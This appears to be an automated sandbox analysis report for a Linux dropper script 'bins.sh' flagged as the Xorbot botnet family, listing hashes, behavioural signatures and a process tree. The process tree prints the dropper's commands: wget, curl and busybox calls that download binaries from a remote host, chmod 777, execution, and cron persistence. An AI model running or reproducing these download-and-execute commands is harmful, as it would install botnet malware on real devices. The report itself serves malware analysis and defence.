Analysis
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max time kernel
137s -
max time network
148s -
platform
debian-9_mipsel -
resource
debian9-mipsel-20240729-en -
resource tags
arch:mipselimage:debian9-mipsel-20240729-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem -
submitted
28/02/2025, 11:57
Static task
static1
Behavioral task
behavioral1
Sample
bins.sh
Resource
ubuntu1804-amd64-20240611-en
Behavioral task
behavioral2
Sample
bins.sh
Resource
debian9-armhf-20240729-en
Behavioral task
behavioral3
Sample
bins.sh
Resource
debian9-mipsbe-20240611-en
Behavioral task
behavioral4
Sample
bins.sh
Resource
debian9-mipsel-20240729-en
General
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Target
bins.sh
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Size
10KB
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MD5
1c04224c31369b92267e0f914de6faa7
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SHA1
a83724c5b8610fae0d070df43be47b501af8c44b
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SHA256
27e10f92af7087a71e53ea4397ca1048fae7141974622a595a9fc358c187cd8f
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SHA512
f84f0a3d4f25e30aa0b396a8212e44194c1787f5af184c2a20ded76d3b1dc36e52a38c1c8c16ea6d5263807375dbc8fdfc92de6b4f116b68f16650655288b542
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SSDEEP
96:YjvjDjZLwsIL8AjnqinuOCaELKCsHA82U99vLv+vuvBGjm9gcSLwsFQMuBSBqBqs:S4H7qAKosvdGrDIF4
Malware Config
Signatures
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resource yara_rule behavioral4/files/fstream-1.dat family_xorbot -
Xorbot family
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Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
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Contacts a large (1823) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
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File and Directory Permissions Modification 1 TTPs 4 IoCs
Adversaries may modify file or directory permissions to evade defenses.
pid Process 793 chmod 810 chmod 836 chmod 743 chmod -
Executes dropped EXE 2 IoCs
ioc pid Process /tmp/6me8L28qp8ZMXxRxrvwNjMhj066PYl9ckx 744 bins.sh /tmp/tylUfEdLd2Ho2FuUE0FT8yrYykEPgRIIQq 794 bins.sh -
Renames itself 1 IoCs
pid Process 796 tylUfEdLd2Ho2FuUE0FT8yrYykEPgRIIQq -
Creates/modifies Cron job 1 TTPs 1 IoCs
Cron allows running tasks on a schedule, and is commonly used for malware persistence.
description ioc Process File opened for modification /var/spool/cron/crontabs/tmp.wUr44v crontab -
Enumerates running processes
Discovers information about currently running processes on the system
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description ioc Process File opened for reading /proc/8/cmdline tylUfEdLd2Ho2FuUE0FT8yrYykEPgRIIQq File opened for reading /proc/12/cmdline tylUfEdLd2Ho2FuUE0FT8yrYykEPgRIIQq File opened for reading /proc/883/cmdline tylUfEdLd2Ho2FuUE0FT8yrYykEPgRIIQq File opened for reading /proc/1017/cmdline tylUfEdLd2Ho2FuUE0FT8yrYykEPgRIIQq File opened for reading /proc/filesystems crontab File opened for reading /proc/898/cmdline tylUfEdLd2Ho2FuUE0FT8yrYykEPgRIIQq File opened for reading /proc/126/cmdline tylUfEdLd2Ho2FuUE0FT8yrYykEPgRIIQq File opened for reading /proc/178/cmdline tylUfEdLd2Ho2FuUE0FT8yrYykEPgRIIQq File opened for reading /proc/848/cmdline tylUfEdLd2Ho2FuUE0FT8yrYykEPgRIIQq File opened for reading /proc/863/cmdline tylUfEdLd2Ho2FuUE0FT8yrYykEPgRIIQq File opened for reading /proc/932/cmdline tylUfEdLd2Ho2FuUE0FT8yrYykEPgRIIQq File opened for reading /proc/74/cmdline tylUfEdLd2Ho2FuUE0FT8yrYykEPgRIIQq File opened for reading /proc/386/cmdline tylUfEdLd2Ho2FuUE0FT8yrYykEPgRIIQq File opened for reading /proc/809/cmdline tylUfEdLd2Ho2FuUE0FT8yrYykEPgRIIQq File opened for reading /proc/852/cmdline tylUfEdLd2Ho2FuUE0FT8yrYykEPgRIIQq File opened for reading /proc/1022/cmdline tylUfEdLd2Ho2FuUE0FT8yrYykEPgRIIQq File opened for reading /proc/856/cmdline tylUfEdLd2Ho2FuUE0FT8yrYykEPgRIIQq File opened for reading /proc/384/cmdline tylUfEdLd2Ho2FuUE0FT8yrYykEPgRIIQq File opened for reading /proc/24/cmdline tylUfEdLd2Ho2FuUE0FT8yrYykEPgRIIQq File opened for reading /proc/876/cmdline tylUfEdLd2Ho2FuUE0FT8yrYykEPgRIIQq File opened for reading /proc/893/cmdline tylUfEdLd2Ho2FuUE0FT8yrYykEPgRIIQq File opened for reading /proc/1005/cmdline tylUfEdLd2Ho2FuUE0FT8yrYykEPgRIIQq File opened for reading /proc/75/cmdline tylUfEdLd2Ho2FuUE0FT8yrYykEPgRIIQq File opened for reading /proc/862/cmdline tylUfEdLd2Ho2FuUE0FT8yrYykEPgRIIQq File opened for reading /proc/888/cmdline tylUfEdLd2Ho2FuUE0FT8yrYykEPgRIIQq File opened for reading /proc/889/cmdline tylUfEdLd2Ho2FuUE0FT8yrYykEPgRIIQq File opened for reading /proc/804/cmdline tylUfEdLd2Ho2FuUE0FT8yrYykEPgRIIQq File opened for reading /proc/859/cmdline tylUfEdLd2Ho2FuUE0FT8yrYykEPgRIIQq File opened for reading /proc/892/cmdline tylUfEdLd2Ho2FuUE0FT8yrYykEPgRIIQq File opened for reading /proc/905/cmdline tylUfEdLd2Ho2FuUE0FT8yrYykEPgRIIQq File opened for reading /proc/986/cmdline tylUfEdLd2Ho2FuUE0FT8yrYykEPgRIIQq File opened for reading /proc/996/cmdline tylUfEdLd2Ho2FuUE0FT8yrYykEPgRIIQq File opened for reading /proc/19/cmdline tylUfEdLd2Ho2FuUE0FT8yrYykEPgRIIQq File opened for reading /proc/896/cmdline tylUfEdLd2Ho2FuUE0FT8yrYykEPgRIIQq File opened for reading /proc/900/cmdline tylUfEdLd2Ho2FuUE0FT8yrYykEPgRIIQq File opened for reading /proc/834/cmdline tylUfEdLd2Ho2FuUE0FT8yrYykEPgRIIQq File opened for reading /proc/952/cmdline tylUfEdLd2Ho2FuUE0FT8yrYykEPgRIIQq File opened for reading /proc/977/cmdline tylUfEdLd2Ho2FuUE0FT8yrYykEPgRIIQq File opened for reading /proc/20/cmdline tylUfEdLd2Ho2FuUE0FT8yrYykEPgRIIQq File opened for reading /proc/851/cmdline tylUfEdLd2Ho2FuUE0FT8yrYykEPgRIIQq File opened for reading /proc/18/cmdline tylUfEdLd2Ho2FuUE0FT8yrYykEPgRIIQq File opened for reading /proc/854/cmdline tylUfEdLd2Ho2FuUE0FT8yrYykEPgRIIQq File opened for reading /proc/879/cmdline tylUfEdLd2Ho2FuUE0FT8yrYykEPgRIIQq File opened for reading /proc/928/cmdline tylUfEdLd2Ho2FuUE0FT8yrYykEPgRIIQq File opened for reading /proc/946/cmdline tylUfEdLd2Ho2FuUE0FT8yrYykEPgRIIQq File opened for reading /proc/965/cmdline tylUfEdLd2Ho2FuUE0FT8yrYykEPgRIIQq File opened for reading /proc/995/cmdline tylUfEdLd2Ho2FuUE0FT8yrYykEPgRIIQq File opened for reading /proc/821/cmdline tylUfEdLd2Ho2FuUE0FT8yrYykEPgRIIQq File opened for reading /proc/836/cmdline tylUfEdLd2Ho2FuUE0FT8yrYykEPgRIIQq File opened for reading /proc/963/cmdline tylUfEdLd2Ho2FuUE0FT8yrYykEPgRIIQq File opened for reading /proc/805/cmdline tylUfEdLd2Ho2FuUE0FT8yrYykEPgRIIQq File opened for reading /proc/845/cmdline tylUfEdLd2Ho2FuUE0FT8yrYykEPgRIIQq File opened for reading /proc/865/cmdline tylUfEdLd2Ho2FuUE0FT8yrYykEPgRIIQq File opened for reading /proc/870/cmdline tylUfEdLd2Ho2FuUE0FT8yrYykEPgRIIQq File opened for reading /proc/967/cmdline tylUfEdLd2Ho2FuUE0FT8yrYykEPgRIIQq File opened for reading /proc/985/cmdline tylUfEdLd2Ho2FuUE0FT8yrYykEPgRIIQq File opened for reading /proc/717/cmdline tylUfEdLd2Ho2FuUE0FT8yrYykEPgRIIQq File opened for reading /proc/833/cmdline tylUfEdLd2Ho2FuUE0FT8yrYykEPgRIIQq File opened for reading /proc/921/cmdline tylUfEdLd2Ho2FuUE0FT8yrYykEPgRIIQq File opened for reading /proc/997/cmdline tylUfEdLd2Ho2FuUE0FT8yrYykEPgRIIQq File opened for reading /proc/23/cmdline tylUfEdLd2Ho2FuUE0FT8yrYykEPgRIIQq File opened for reading /proc/77/cmdline tylUfEdLd2Ho2FuUE0FT8yrYykEPgRIIQq File opened for reading /proc/82/cmdline tylUfEdLd2Ho2FuUE0FT8yrYykEPgRIIQq File opened for reading /proc/846/cmdline tylUfEdLd2Ho2FuUE0FT8yrYykEPgRIIQq -
System Network Configuration Discovery 1 TTPs 14 IoCs
Adversaries may gather information about the network configuration of a system.
pid Process 842 wget 846 curl 741 busybox 747 wget 748 curl 750 busybox 807 wget 808 curl 813 wget 814 curl 715 wget 732 curl 809 busybox 815 busybox -
Writes file to tmp directory 5 IoCs
Malware often drops required files in the /tmp directory.
description ioc Process File opened for modification /tmp/6me8L28qp8ZMXxRxrvwNjMhj066PYl9ckx wget File opened for modification /tmp/6me8L28qp8ZMXxRxrvwNjMhj066PYl9ckx curl File opened for modification /tmp/6me8L28qp8ZMXxRxrvwNjMhj066PYl9ckx busybox File opened for modification /tmp/tylUfEdLd2Ho2FuUE0FT8yrYykEPgRIIQq wget File opened for modification /tmp/tylUfEdLd2Ho2FuUE0FT8yrYykEPgRIIQq curl
Processes
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/tmp/bins.sh/tmp/bins.sh1⤵
- Executes dropped EXE
PID:711 -
/bin/rm/bin/rm bins.sh2⤵PID:713
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/usr/bin/wgetwget http://conn.masjesu.zip/bins/6me8L28qp8ZMXxRxrvwNjMhj066PYl9ckx2⤵
- System Network Configuration Discovery
- Writes file to tmp directory
PID:715
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/usr/bin/curlcurl -O http://conn.masjesu.zip/bins/6me8L28qp8ZMXxRxrvwNjMhj066PYl9ckx2⤵
- System Network Configuration Discovery
- Writes file to tmp directory
PID:732
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/bin/busybox/bin/busybox wget http://conn.masjesu.zip/bins/6me8L28qp8ZMXxRxrvwNjMhj066PYl9ckx2⤵
- System Network Configuration Discovery
- Writes file to tmp directory
PID:741
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/bin/chmodchmod 777 6me8L28qp8ZMXxRxrvwNjMhj066PYl9ckx2⤵
- File and Directory Permissions Modification
PID:743
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/tmp/6me8L28qp8ZMXxRxrvwNjMhj066PYl9ckx./6me8L28qp8ZMXxRxrvwNjMhj066PYl9ckx2⤵PID:744
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/bin/rmrm 6me8L28qp8ZMXxRxrvwNjMhj066PYl9ckx2⤵PID:746
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/usr/bin/wgetwget http://conn.masjesu.zip/bins/tylUfEdLd2Ho2FuUE0FT8yrYykEPgRIIQq2⤵
- System Network Configuration Discovery
- Writes file to tmp directory
PID:747
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/usr/bin/curlcurl -O http://conn.masjesu.zip/bins/tylUfEdLd2Ho2FuUE0FT8yrYykEPgRIIQq2⤵
- System Network Configuration Discovery
- Writes file to tmp directory
PID:748
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/bin/busybox/bin/busybox wget http://conn.masjesu.zip/bins/tylUfEdLd2Ho2FuUE0FT8yrYykEPgRIIQq2⤵
- System Network Configuration Discovery
PID:750
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/bin/chmodchmod 777 tylUfEdLd2Ho2FuUE0FT8yrYykEPgRIIQq2⤵
- File and Directory Permissions Modification
PID:793
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/tmp/tylUfEdLd2Ho2FuUE0FT8yrYykEPgRIIQq./tylUfEdLd2Ho2FuUE0FT8yrYykEPgRIIQq2⤵
- Renames itself
- Reads runtime system information
PID:794 -
/bin/shsh -c "crontab -l"3⤵PID:797
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/usr/bin/crontabcrontab -l4⤵PID:798
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/bin/shsh -c "crontab -"3⤵PID:799
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/usr/bin/crontabcrontab -4⤵
- Creates/modifies Cron job
- Reads runtime system information
PID:801
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/bin/rmrm tylUfEdLd2Ho2FuUE0FT8yrYykEPgRIIQq2⤵PID:804
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/usr/bin/wgetwget http://conn.masjesu.zip/bins/j7YkHCn9eenbdEJjjSe4RAXf34IgXaWdQh2⤵
- System Network Configuration Discovery
PID:807
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/usr/bin/curlcurl -O http://conn.masjesu.zip/bins/j7YkHCn9eenbdEJjjSe4RAXf34IgXaWdQh2⤵
- System Network Configuration Discovery
PID:808
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/bin/busybox/bin/busybox wget http://conn.masjesu.zip/bins/j7YkHCn9eenbdEJjjSe4RAXf34IgXaWdQh2⤵
- System Network Configuration Discovery
PID:809
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/bin/chmodchmod 777 j7YkHCn9eenbdEJjjSe4RAXf34IgXaWdQh2⤵
- File and Directory Permissions Modification
PID:810
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/tmp/j7YkHCn9eenbdEJjjSe4RAXf34IgXaWdQh./j7YkHCn9eenbdEJjjSe4RAXf34IgXaWdQh2⤵PID:811
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/bin/rmrm j7YkHCn9eenbdEJjjSe4RAXf34IgXaWdQh2⤵PID:812
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/usr/bin/wgetwget http://conn.masjesu.zip/bins/jt9jGRCBvs5W4HfojuNQa26eGDclv8ZsGN2⤵
- System Network Configuration Discovery
PID:813
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/usr/bin/curlcurl -O http://conn.masjesu.zip/bins/jt9jGRCBvs5W4HfojuNQa26eGDclv8ZsGN2⤵
- System Network Configuration Discovery
PID:814
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/bin/busybox/bin/busybox wget http://conn.masjesu.zip/bins/jt9jGRCBvs5W4HfojuNQa26eGDclv8ZsGN2⤵
- System Network Configuration Discovery
PID:815
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/bin/chmodchmod 777 jt9jGRCBvs5W4HfojuNQa26eGDclv8ZsGN2⤵
- File and Directory Permissions Modification
PID:836
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/tmp/jt9jGRCBvs5W4HfojuNQa26eGDclv8ZsGN./jt9jGRCBvs5W4HfojuNQa26eGDclv8ZsGN2⤵PID:838
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/bin/rmrm jt9jGRCBvs5W4HfojuNQa26eGDclv8ZsGN2⤵PID:840
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/usr/bin/wgetwget http://conn.masjesu.zip/bins/Lh2XFnF0IQ4hRp0Ecm8nGBqLKD7wLDvUo72⤵
- System Network Configuration Discovery
PID:842
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/usr/bin/curlcurl -O http://conn.masjesu.zip/bins/Lh2XFnF0IQ4hRp0Ecm8nGBqLKD7wLDvUo72⤵
- System Network Configuration Discovery
PID:846
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
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Filesize
119KB
MD51b166b95f9cb4b079ef1b9ec8363ddf3
SHA10d8eb08add467b3b5474f9b25909297fe7c2839c
SHA25694a19b33124cbbc1c570b3338f4dfbb2bf1a9335a72acf22be02a9bb8a323cc9
SHA512983ae0f399df2a6cf1dd48ba09098964c5dcb55b8bd049bce8e9c2c15dd88336642da64908d93221247a64ce987950b05042b0fac8474b179f0b1f7f0aca6925
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Filesize
151KB
MD56c583043d91c55aa470c08c87058e917
SHA1abf65a5b9bba69980278ad09356e53de8bb89439
SHA2562d63c81a782853efe672a1d9cb00a339ec57207b4075754a1baf1df9af466948
SHA51282ee5f3884edc2cb3e68d8634353964cdb991e250b0592a2f80f5ffb738e64860abe6d030aec0d6ab94596c275b478080579fd65b055cc9055e1ef3de6dd59a5
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Filesize
210B
MD57b5c353c34e355b343ce13e6c5333a3e
SHA1dccae3409f2c34ce861172b56006874dc497907b
SHA25674164af50d783efcb1b96d3cb10cc542c5c3badc16a61f3c455055cf44177c59
SHA512b7aa41602699602b6266350dd4dee10be34d7c8a96a191482d32cd7a3a688b9e0d42a6e205a46e3175a1e4e5fd868974ad4ad533c2a53f4ce1406a0c14bcde6f